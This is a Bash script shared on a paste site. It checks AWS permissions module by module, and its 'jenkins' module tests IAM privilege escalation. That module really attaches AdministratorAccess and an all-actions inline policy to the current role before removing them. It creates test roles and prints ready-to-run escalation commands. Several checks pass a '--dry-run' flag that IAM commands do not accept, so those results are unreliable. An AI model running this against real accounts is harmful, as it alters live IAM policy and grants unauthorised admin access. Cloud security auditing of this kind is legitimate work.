orenma icon

aws-perm-check.sh

orenma | PRO | 08/16/25 07:42:41 PM UTC (Edited) | 0 ⭐ | 13698 👁️ | Never ⏰ | []
Bash |

19.77 KB

|

Cybersecurity

|

0 👍

/

0 👎

#!/bin/bash
 
# =============================================================================
# Modular AWS Permission Checker
# Description: Check specific AWS permissions for current session
# Usage: ./aws-perm-check.sh [module] [options]
# =============================================================================
 
 
# Global variables
SCRIPT_NAME="$(basename "$0")"
QUIET_MODE=false
VERBOSE_MODE=false
OUTPUT_FORMAT="text"  # text, json, csv
 
# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
 
# =============================================================================
# Core Functions
# =============================================================================
 
log_info() {
    [[ "$QUIET_MODE" == true ]] && return
    echo -e "${BLUE}[INFO]${NC} $1"
}
 
log_success() {
    [[ "$QUIET_MODE" == true ]] && return
    echo -e "${GREEN}[SUCCESS]${NC} $1"
}
 
log_warning() {
    echo -e "${YELLOW}[WARNING]${NC} $1" >&2
}
 
log_error() {
    echo -e "${RED}[ERROR]${NC} $1" >&2
}
 
show_usage() {
    cat << EOF
Usage: $SCRIPT_NAME [MODULE] [OPTIONS]
 
MODULES:
    core        - Basic AWS identity and core permissions
    ec2         - EC2 service permissions
    s3          - S3 service permissions
    iam         - IAM service permissions
    ssm         - Systems Manager permissions
    rds         - RDS service permissions
    ecr         - Elastic Container Registry permissions
    cloudwatch  - CloudWatch permissions
    jenkins     - Jenkins-specific privilege escalation checks
    all         - Run all modules
 
OPTIONS:
    -q, --quiet     Quiet mode (minimal output)
    -v, --verbose   Verbose mode (detailed output)
    -f, --format    Output format: text|json|csv (default: text)
    -h, --help      Show this help message
 
EXAMPLES:
    $SCRIPT_NAME core                    # Check core permissions
    $SCRIPT_NAME ec2 -v                  # Check EC2 with verbose output
    $SCRIPT_NAME all -f json             # All checks in JSON format
    $SCRIPT_NAME iam --quiet             # IAM checks with minimal output
 
EOF
}
 
# Verify AWS credentials
verify_aws_credentials() {
    log_info "Verifying AWS credentials..."
    
    if ! aws sts get-caller-identity &>/dev/null; then
        log_error "AWS credentials not configured or invalid"
        log_error "Please ensure you have configured:"
        log_error "  - AWS Access Key ID"
        log_error "  - AWS Secret Access Key" 
        log_error "  - AWS Session Token (if using temporary credentials)"
        exit 1
    fi
    
    log_success "AWS credentials verified"
}
 
# Get caller identity information
get_caller_info() {
    local caller_arn=$(aws sts get-caller-identity --query 'Arn' --output text)
    local caller_type=$(echo "$caller_arn" | cut -d':' -f6 | cut -d'/' -f1)
    local caller_name=$(echo "$caller_arn" | cut -d'/' -f2)
    local account_id=$(aws sts get-caller-identity --query 'Account' --output text)
    
    echo "$caller_type|$caller_name|$account_id|$caller_arn"
}
 
# Test a specific permission
test_permission() {
    local service="$1"
    local action="$2"
    local test_command="$3"
    local description="${4:-}"
    
    local full_action="${service}:${action}"
    [[ -n "$description" ]] && full_action="$full_action ($description)"
    
    if [[ "$VERBOSE_MODE" == true ]]; then
        log_info "Testing $full_action..."
        log_info "Command: $test_command"
    elif [[ "$QUIET_MODE" == false ]]; then
        echo -n "Testing $full_action... "
    fi
    
    if eval "$test_command &>/dev/null"; then
        [[ "$QUIET_MODE" == false ]] && echo -e "${GREEN}✅ Allowed${NC}"
        [[ "$VERBOSE_MODE" == true ]] && log_success "Permission allowed"
        return 0
    else
        [[ "$QUIET_MODE" == false ]] && echo -e "${RED}❌ Denied${NC}"
        [[ "$VERBOSE_MODE" == true ]] && log_warning "Permission denied"
        return 1
    fi
}
 
# =============================================================================
# Module Functions
# =============================================================================
 
module_core() {
    log_info "Running core permissions check..."
    
    local caller_info=$(get_caller_info)
    local caller_type=$(echo "$caller_info" | cut -d'|' -f1)
    local caller_name=$(echo "$caller_info" | cut -d'|' -f2)
    local account_id=$(echo "$caller_info" | cut -d'|' -f3)
    local caller_arn=$(echo "$caller_info" | cut -d'|' -f4)
    
    echo "=== AWS Identity Information ==="
    echo "Identity Type: $caller_type"
    echo "Identity Name: $caller_name"
    echo "Account ID: $account_id"
    echo "Full ARN: $caller_arn"
    echo
    
    echo "=== Core Permissions ==="
    test_permission "STS" "GetCallerIdentity" "aws sts get-caller-identity" "Current identity"
}
 
module_ec2() {
    log_info "Running EC2 permissions check..."
    
    echo "=== EC2 Permissions ==="
    test_permission "EC2" "DescribeInstances" "aws ec2 describe-instances --max-items 1"
    test_permission "EC2" "DescribeSecurityGroups" "aws ec2 describe-security-groups --max-items 1"
    test_permission "EC2" "DescribeVpcs" "aws ec2 describe-vpcs --max-items 1"
    test_permission "EC2" "DescribeInstanceTypes" "aws ec2 describe-instance-types --max-items 1"
    test_permission "EC2" "DescribeImages" "aws ec2 describe-images --owners self --max-items 1"
    test_permission "EC2" "DescribeKeyPairs" "aws ec2 describe-key-pairs --max-items 1"
}
 
module_s3() {
    log_info "Running S3 permissions check..."
    
    echo "=== S3 Permissions ==="
    test_permission "S3" "ListAllMyBuckets" "aws s3 ls"
    
    # Test S3 GetObject only if ListBuckets succeeded
    if aws s3 ls &>/dev/null; then
        local first_bucket=$(aws s3 ls | head -n 1 | awk '{print $3}' 2>/dev/null)
        if [[ -n "$first_bucket" ]]; then
            test_permission "S3" "ListBucket" "aws s3api list-objects --bucket $first_bucket --max-items 1" "List objects in $first_bucket"
            test_permission "S3" "GetBucketLocation" "aws s3api get-bucket-location --bucket $first_bucket" "Get $first_bucket location"
        else
            log_warning "No S3 buckets found to test object-level permissions"
        fi
    fi
}
 
module_iam() {
    log_info "Running IAM permissions check..."
    
    echo "=== IAM Permissions ==="
    test_permission "IAM" "ListRoles" "aws iam list-roles --max-items 1"
    test_permission "IAM" "ListPolicies" "aws iam list-policies --max-items 1"
    test_permission "IAM" "ListUsers" "aws iam list-users --max-items 1"
    test_permission "IAM" "GetAccountSummary" "aws iam get-account-summary"
    test_permission "IAM" "ListAccountAliases" "aws iam list-account-aliases"
    
    # Get current identity policies if possible
    local caller_info=$(get_caller_info)
    local caller_type=$(echo "$caller_info" | cut -d'|' -f1)
    local caller_name=$(echo "$caller_info" | cut -d'|' -f2)
    
    echo
    echo "=== Current Identity Policy Information ==="
    if [[ "$caller_type" == "role" || "$caller_type" == "assumed-role" ]]; then
        test_permission "IAM" "ListAttachedRolePolicies" "aws iam list-attached-role-policies --role-name $caller_name" "List policies for current role"
        test_permission "IAM" "ListRolePolicies" "aws iam list-role-policies --role-name $caller_name" "List inline policies for current role"
    elif [[ "$caller_type" == "user" ]]; then
        test_permission "IAM" "ListAttachedUserPolicies" "aws iam list-attached-user-policies --user-name $caller_name" "List policies for current user"
        test_permission "IAM" "ListUserPolicies" "aws iam list-user-policies --user-name $caller_name" "List inline policies for current user"
    fi
}
 
module_ssm() {
    log_info "Running SSM permissions check..."
    
    echo "=== Systems Manager Permissions ==="
    test_permission "SSM" "DescribeInstanceInformation" "aws ssm describe-instance-information --max-items 1"
    test_permission "SSM" "ListCommands" "aws ssm list-commands --max-items 1"
    test_permission "SSM" "DescribeParameters" "aws ssm describe-parameters --max-items 1"
    test_permission "SSM" "GetParameters" "aws ssm get-parameters --names '/aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2' || true"
}
 
module_rds() {
    log_info "Running RDS permissions check..."
    
    echo "=== RDS Permissions ==="
    test_permission "RDS" "DescribeDBInstances" "aws rds describe-db-instances --max-items 1"
    test_permission "RDS" "DescribeDBClusters" "aws rds describe-db-clusters --max-items 1"
    test_permission "RDS" "DescribeDBSubnetGroups" "aws rds describe-db-subnet-groups --max-items 1"
}
 
module_ecr() {
    log_info "Running ECR permissions check..."
    
    echo "=== ECR Permissions ==="
    test_permission "ECR" "DescribeRepositories" "aws ecr describe-repositories --max-items 1"
    test_permission "ECR" "GetAuthorizationToken" "aws ecr get-authorization-token"
}
 
module_cloudwatch() {
    log_info "Running CloudWatch permissions check..."
    
    echo "=== CloudWatch Permissions ==="
    test_permission "CloudWatch" "ListMetrics" "aws cloudwatch list-metrics --max-items 1"
    test_permission "CloudWatch" "DescribeAlarms" "aws cloudwatch describe-alarms --max-items 1"
    test_permission "Logs" "DescribeLogGroups" "aws logs describe-log-groups --max-items 1"
}
 
module_jenkins() {
    log_info "Running Jenkins privilege escalation check..."
    
    # Get current caller information
    local caller_info=$(get_caller_info)
    local caller_type=$(echo "$caller_info" | cut -d'|' -f1)
    local caller_name=$(echo "$caller_info" | cut -d'|' -f2)
    local caller_arn=$(echo "$caller_info" | cut -d'|' -f4)
    
    # Check if current session is using a role (required for Jenkins escalation)
    if [[ "$caller_type" != "role" && "$caller_type" != "assumed-role" ]]; then
        log_warning "Current session is not using a role (type: $caller_type)"
        log_warning "Jenkins privilege escalation typically requires role-based access"
        echo "Current identity: $caller_arn"
        return 1
    fi
    
    # Extract the role name from current session
    local current_role="$caller_name"
    local admin_policy_arn="arn:aws:iam::aws:policy/AdministratorAccess"
    
    echo "=== Jenkins Privilege Escalation Permissions ==="
    echo "Current Role: $current_role"
    echo "Full ARN: $caller_arn"
    echo
    
    # Check if this looks like a Jenkins role
    if [[ "$current_role" =~ jenkins|Jenkins ]]; then
        log_info "Detected Jenkins-related role name"
    else
        log_warning "Current role doesn't appear to be Jenkins-related"
        log_info "Proceeding with privilege escalation checks anyway..."
    fi
    
    echo
    echo "=== Current Role Analysis ==="
    test_permission "IAM" "GetRole" "aws iam get-role --role-name $current_role" "Get current role details"
    test_permission "IAM" "ListAttachedRolePolicies" "aws iam list-attached-role-policies --role-name $current_role" "List current role policies"
    test_permission "IAM" "ListRolePolicies" "aws iam list-role-policies --role-name $current_role" "List inline policies for current role"
    
    # Test privilege escalation capabilities
    echo
    echo "=== Privilege Escalation Tests ==="
    
    local can_attach=false
    local can_put_policy=false
    local can_create_role=false
    
    # Test AttachRolePolicy permission (most critical)
    echo "Testing IAM:AttachRolePolicy... "
    if aws iam attach-role-policy --role-name "$current_role" --policy-arn "$admin_policy_arn" &>/dev/null; then
        echo -e "${GREEN}✅ Allowed - CRITICAL VULNERABILITY!${NC}"
        can_attach=true
        # Immediately detach to clean up
        aws iam detach-role-policy --role-name "$current_role" --policy-arn "$admin_policy_arn" &>/dev/null
        echo "  → Automatically detached policy for safety"
    else
        echo -e "${RED}❌ Denied${NC}"
    fi
    
    # Test DetachRolePolicy permission
    test_permission "IAM" "DetachRolePolicy" "aws iam detach-role-policy --role-name $current_role --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess --dry-run" "Detach policies from current role"
    
    # Test PutRolePolicy permission (inline policy creation)
    echo "Testing IAM:PutRolePolicy... "
    if aws iam put-role-policy --role-name "$current_role" --policy-name "test-escalation-policy" --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' &>/dev/null; then
        echo -e "${GREEN}✅ Allowed - CRITICAL VULNERABILITY!${NC}"
        can_put_policy=true
        # Immediately delete the policy
        aws iam delete-role-policy --role-name "$current_role" --policy-name "test-escalation-policy" &>/dev/null
        echo "  → Automatically deleted test policy for safety"
    else
        echo -e "${RED}❌ Denied${NC}"
    fi
    
    # Test CreateRole permission
    echo "Testing IAM:CreateRole... "
    if aws iam create-role --role-name "test-escalation-role-$" --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ec2.amazonaws.com"},"Action":"sts:AssumeRole"}]}' &>/dev/null; then
        echo -e "${YELLOW}✅ Allowed - Potential escalation path${NC}"
        can_create_role=true
        # Clean up the test role
        aws iam delete-role --role-name "test-escalation-role-$" &>/dev/null
        echo "  → Automatically deleted test role for safety"
    else
        echo -e "${RED}❌ Denied${NC}"
    fi
    
    # Additional privilege escalation tests
    test_permission "IAM" "UpdateAssumeRolePolicy" "aws iam update-assume-role-policy --role-name $current_role --policy-document '{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"ec2.amazonaws.com\"},\"Action\":\"sts:AssumeRole\"}]}' --dry-run" "Modify role trust policy"
    
    test_permission "IAM" "CreatePolicy" "aws iam create-policy --policy-name test-policy-$ --policy-document '{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":\"s3:ListBucket\",\"Resource\":\"*\"}]}' --dry-run" "Create new policies"
    
    test_permission "IAM" "PassRole" "aws iam get-role --role-name $current_role" "Pass role to services"
    
    # Test if we can modify other Jenkins roles (if any exist)
    echo
    echo "=== Other Jenkins Roles Check ==="
    log_info "Searching for other Jenkins-related roles..."
    
    if aws iam list-roles --query 'Roles[?contains(RoleName, `jenkins`) || contains(RoleName, `Jenkins`)].RoleName' --output text 2>/dev/null | grep -v "^$" | while read -r jenkins_role; do
        if [[ "$jenkins_role" != "$current_role" && -n "$jenkins_role" ]]; then
            echo "Found Jenkins role: $jenkins_role"
            test_permission "IAM" "AttachRolePolicy" "aws iam attach-role-policy --role-name $jenkins_role --policy-arn $admin_policy_arn --dry-run 2>/dev/null" "Attach policy to $jenkins_role"
        fi
    done; then
        log_info "Completed search for other Jenkins roles"
    else
        log_warning "Could not search for other Jenkins roles (insufficient ListRoles permission)"
    fi
    
    echo
    echo "=== Privilege Escalation Summary ==="
    if [[ "$can_attach" == true ]]; then
        log_warning "🚨 CRITICAL PRIVILEGE ESCALATION POSSIBLE! 🚨"
        echo
        echo "Critical findings:"
        echo "- Can attach AdministratorAccess policy to current role"
        echo "- Current role: $current_role"
        echo
        echo "Escalation commands:"
        echo "1. aws iam attach-role-policy --role-name '$current_role' --policy-arn '$admin_policy_arn'"
        echo "2. aws sts get-caller-identity  # Verify new permissions"
        echo "3. # You now have full AWS admin access!"
        echo
        echo "Cleanup command (to remove escalation):"
        echo "aws iam detach-role-policy --role-name '$current_role' --policy-arn '$admin_policy_arn'"
    elif [[ "$can_put_policy" == true ]]; then
        log_warning "🚨 PRIVILEGE ESCALATION POSSIBLE VIA INLINE POLICY! 🚨"
        echo
        echo "Critical findings:"
        echo "- Can create admin inline policies on current role"
        echo "- Current role: $current_role"
        echo
        echo "Escalation commands:"
        echo "1. aws iam put-role-policy --role-name '$current_role' --policy-name admin-policy --policy-document '{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":\"*\",\"Resource\":\"*\"}]}'"
        echo "2. aws sts get-caller-identity  # Verify new permissions"
        echo "3. # You now have full AWS admin access!"
        echo
        echo "Cleanup command (to remove escalation):"
        echo "aws iam delete-role-policy --role-name '$current_role' --policy-name admin-policy"
    elif [[ "$can_create_role" == true ]]; then
        log_warning "⚠️  POTENTIAL PRIVILEGE ESCALATION VIA ROLE CREATION"
        echo
        echo "Findings:"
        echo "- Can create new roles (requires additional permissions to escalate)"
        echo "- Need iam:AttachRolePolicy or iam:PutRolePolicy on new roles to escalate"
        echo "- May be able to create roles with broader permissions"
    else
        log_info "✅ Direct privilege escalation not detected"
        echo "Current role appears to have limited IAM permissions"
        echo "Note: This doesn't guarantee safety - other escalation paths may exist"
    fi
}
 
# =============================================================================
# Main Script Logic
# =============================================================================
 
main() {
    local module=""
    
    # Parse command line arguments
    while [[ $# -gt 0 ]]; do
        case $1 in
            -h|--help)
                show_usage
                exit 0
                ;;
            -q|--quiet)
                QUIET_MODE=true
                shift
                ;;
            -v|--verbose)
                VERBOSE_MODE=true
                shift
                ;;
            -f|--format)
                OUTPUT_FORMAT="$2"
                shift 2
                ;;
            core|ec2|s3|iam|ssm|rds|ecr|cloudwatch|jenkins|all)
                module="$1"
                shift
                ;;
            *)
                log_error "Unknown option: $1"
                show_usage
                exit 1
                ;;
        esac
    done
    
    # If no module specified, show usage
    if [[ -z "$module" ]]; then
        show_usage
        exit 1
    fi
    
    # Verify AWS credentials
    verify_aws_credentials
    echo
    
    # Run the specified module(s)
    case $module in
        core)
            module_core
            ;;
        ec2)
            module_ec2
            ;;
        s3)
            module_s3
            ;;
        iam)
            module_iam
            ;;
        ssm)
            module_ssm
            ;;
        rds)
            module_rds
            ;;
        ecr)
            module_ecr
            ;;
        cloudwatch)
            module_cloudwatch
            ;;
        jenkins)
            module_jenkins
            ;;
        all)
            module_core
            echo
            module_ec2
            echo
            module_s3
            echo
            module_iam
            echo
            module_ssm
            echo
            module_rds
            echo
            module_ecr
            echo
            module_cloudwatch
            echo
            module_jenkins
            ;;
    esac
    
    echo
    log_info "Permission check complete for module: $module"
}
 
# Run main function with all arguments
main "$@"

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎